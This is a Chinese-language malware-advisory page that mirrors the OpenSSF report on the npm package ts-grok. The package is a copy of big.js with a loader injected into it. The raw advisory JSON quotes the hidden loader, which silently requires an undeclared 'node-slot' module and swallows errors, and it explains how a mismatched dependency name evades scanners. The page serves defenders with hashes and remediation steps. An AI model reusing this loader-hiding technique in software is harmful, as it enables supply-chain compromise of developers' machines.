目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

ts-grok

MAL-2026-6321
2026-06-25 05:40:55
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in ts-grok (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
3
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmts-grok*
npmts-grok0.0.8
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-25T05:40:55Z","published":"2026-06-23T16:11:24Z","schema_version":"1.7.4","id":"MAL-2026-6321","aliases":["GHSA-qp73-r9hh-6vq9"],"summary":"Malicious code in ts-grok (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d)\nPackage ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: `try { const doc = require(\"node-slot\"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.\n\n## Source: ghsa-malware (7e224f66376c69706384d59f24df0dc4b00d80e10910320a75bb5be49d4e33d0)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"ts-grok"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"big.js","sha256":"442c54a9b0beff03159cb7dd3a59ad1c09dbe09f0bcec91df0a33a032a2e4f99","tlsh":"c6c2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"},{"path":"package.json","sha256":"739334ffdefefe319046de805c6062f07e589edb4880a7f6153d8aa0efb7b3e5","tlsh":"b3210463c9a19da70af85b947c6c03aaf1161b1f04a05c5bb07b130c4b3355b2095b7d"}],"package_integrity":[{"filename":"ts-grok-0.0.8.tgz","hashes":{"sha1":"55fc69d040bbff102422d54f5ac62b4e80430a43","sha512_sri":"sha512-hXK5Xw/okq+3SASoi0qwX5MRlQUnwzsXjmaRODEO/v+auPfYbz89BWpeySigTC5LbUhkkhwVwKV+JDfqnBL1tQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-grok/v/0.0.8"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qp73-r9hh-6vq9"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d","import_time":"2026-06-23T16:54:13.236632759Z","id":"IN-MAL-2026-007267","modified_time":"2026-06-23T16:11:24Z","versions":["0.0.8"]},{"source":"ghsa-malware","sha256":"7e224f66376c69706384d59f24df0dc4b00d80e10910320a75bb5be49d4e33d0","import_time":"2026-06-25T05:39:10.654465424Z","id":"GHSA-qp73-r9hh-6vq9","modified_time":"2026-06-25T04:29:43Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0